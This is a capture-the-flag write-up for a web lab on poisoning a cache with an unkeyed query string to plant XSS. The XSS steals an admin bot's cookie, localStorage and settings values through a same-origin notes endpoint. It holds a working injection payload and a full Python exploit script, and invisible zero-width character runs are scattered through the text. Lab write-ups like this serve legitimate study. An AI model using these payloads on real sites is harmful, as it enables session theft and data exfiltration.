← Back to Writeups
CUSTOMMediumWeb

Lab 231 — PagePulse — XSS via Web Cache Poisoning

XESXOR9/10/20264 min read
#web#custom#medium#admin_bot_exploitation#cache_timing_attack#same_origin_data_exfiltration#web_cache_poisoning_unkeyed_qu#xss_attribute_breakout#linux

Lab 231 — PagePulse — XSS via Web Cache Poisoning

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: admin_bot_exploitation, cache_timing_attack, same_origin_data_exfiltration, web_cache_poisoning_unkeyed_query, xss_attribute_breakout

Summary

Task: Content analytics platform with caching layer; query parameter reflected unsanitized in HTML meta tags but excluded from cache key. Solution: Web cache poisoning via unkeyed query string to inject XSS, then trigger admin bot visit to exfiltrate non-HttpOnly flag cookie through same-origin API endpoint.

Lab 231 — PagePulse — XSS via Web Cache Poisoning — HackAdvisor

Description

PagePulse is a content analytics platform built by Luminary Digital that provides traffic insights, campaign tracking, and audience engagement reports. The platform serves pre-computed report pages through a caching layer to improve performance. You have been given access to a test account on PagePulse. The platform allows users to create team notes, view analytics reports, track campaign performance, and share reports with administrators for review. Your objective is to find and exploit a vulnerability that allows you to steal sensitive information from an administrator's browser session. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A web application with a caching layer where the /reports page reflects a query parameter into HTML without sanitization. The cache key does not include the query string, enabling web cache poisoning. An admin bot can be triggered to visit the poisoned page, and the flag is stored in a non-HttpOnly cookie on the admin's session.

Analysis

Application Structure

  • Dashboard, Reports, Campaigns, Team Notes, Share Report, Settings — standard analytics platform pages
  • /reports — cached page with X-Cache: HIT/MISS headers, Cache-Control: public, max-age=30 (30-second TTL)
  • /share-report — submits a URL (must start with /reports) for an admin bot to visit
  • /api/notes — POST endpoint accepting JSON {title, content} to create team notes visible to all members
  • /admin — returns 403 for regular users ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Observations

  1. The /reports page contains two injectable HTML elements in <head>:
    • <link rel="canonical" href="http://HOST/reports">
    • <meta name="pp-view-mode" content="">
  2. The view query parameter is reflected unsanitized into both tags
  3. The cache key is /reports only — the query string is NOT part of the cache key (unkeyed query string)
  4. connect.sid cookie is HttpOnly, but there's a non-HttpOnly flag cookie on the admin's session
  5. Decoy flags embedded in HTML comments — designed to trick automated solvers ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Unkeyed Query String → Web Cache Poisoning → XSS

Request: GET /reports?view=injected

Response:

html
<link rel="canonical" href="http://HOST/reports?view=injected">
<meta name="pp-view-mode" content="injected">

Since the cache key is just /reports, a poisoned response (generated with a malicious view parameter) gets served to all subsequent visitors of /reports — including the admin bot.

Solution

Step 1 — Confirm Reflection and Cache Behavior

bash
# Verify parameter reflection (wait for cache miss)
curl -s 'http://TARGET/reports?view=TESTVALUE' -H 'Cookie: connect.sid=SESSION' | grep -i 'TESTVALUE'
# Output: <meta name="pp-view-mode" content="TESTVALUE">
# Output: <link rel="canonical" href="http://TARGET/reports?view=TESTVALUE">
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Verify cache key excludes query string
curl -s 'http://TARGET/reports' -H 'Cookie: connect.sid=SESSION' -D - | grep -i 'x-cache'
# X-Cache: HIT — serves the poisoned response without the query parameter!

Step 2 — Craft XSS Payload

Break out of the content="" attribute in the meta tag:

"><script>alert(1)</script>

Results in:

html
<meta name="pp-view-mode" content=""><script>alert(1)</script>">

No sanitization or encoding applied — full reflected XSS that gets cached.

Step 3 — Build Exfiltration Payload

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The payload reads document.cookie (which contains the non-HttpOnly flag cookie), fetches /settings for additional data, and exfiltrates everything via the same-origin /api/notes endpoint:

javascript
"><script>
var d = {c: document.cookie, ls: JSON.stringify(localStorage)};
fetch("/settings").then(r => r.text()).then(t => {
  var m = t.match(/value="([^"]{10,})"/g);
  d.vals = m;
  d.settingsLen = t.length;
  fetch("/api/notes", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({title: "info", content: JSON.stringify(d)})
  });
});
</script><meta name="x" content="

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The trailing <meta name="x" content=" cleanly closes the broken HTML to avoid parse errors.

Step 4 — Execute the Attack

python
#!/usr/bin/env python3
"""
Web Cache Poisoning + XSS exploit for PagePulse (HackAdvisor Lab 231)
Attack chain: Poison cache → Admin bot visits → Cookie exfiltrated via /api/notes
"""
import requests
import time
import urllib.parse

TARGET = "http://TARGET_HOST"
SESSION_COOKIE = "ATTACKER_SESSION_ID"

headers = {"Cookie": f"connect.sid={SESSION_COOKIE}"}

# XSS payload that exfiltrates cookies via /api/notes
payload = '"><script>var d={c:document.cookie,ls:JSON.stringify(localStorage)};fetch("/settings").then(r=>r.text()).then(t=>{var m=t.match(/value="([^"]{10,})"/g);d.vals=m;d.settingsLen=t.length;fetch("/api/notes",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({title:"info",content:JSON.stringify(d)})})});</script><meta name="x" content="'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Wait for cache to expire (30s TTL)
print("[*] Waiting for cache expiry...")
time.sleep(31)

# Step 2: Poison the cache
poison_url = f"{TARGET}/reports?view={urllib.parse.quote(payload)}"
resp = requests.get(poison_url, headers=headers)
print(f"[*] Poison request: X-Cache = {resp.headers.get('X-Cache', 'N/A')}")
assert "MISS" in resp.headers.get("X-Cache", ""), "Cache was not refreshed!"

# Step 3: Verify poisoning
resp = requests.get(f"{TARGET}/reports", headers=headers)
print(f"[*] Verify request: X-Cache = {resp.headers.get('X-Cache', 'N/A')}")
assert "<script>" in resp.text, "Poisoning failed!"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 4: Trigger admin bot
resp = requests.post(
    f"{TARGET}/share-report",
    headers={**headers, "Content-Type": "application/json"},
    json={"url": "/reports"}
)
print(f"[*] Share report response: {resp.status_code}")

# Step 5: Wait for admin to visit and XSS to execute
time.sleep(5)

# Step 6: Read exfiltrated data from notes
resp = requests.get(f"{TARGET}/api/notes", headers=headers)
print(f"[*] Notes: {resp.json()}")

Step 5 — Retrieve the Flag

Check /api/notes for the exfiltrated data: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{
  "c": "flag=FLAG{REDACTED}",
  "ls": "{}",
  "vals": ["value=\"Sarah Chen\"", "value=\"admin@pagepulse.io\"", "value=\"Engineering\"", "value=\"pp_live_2_xxxxxxxxxxxxxxxxxx\""],
  "settingsLen": 11175
}

The flag was stored in a non-HttpOnly cookie named flag on the admin's browser session. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍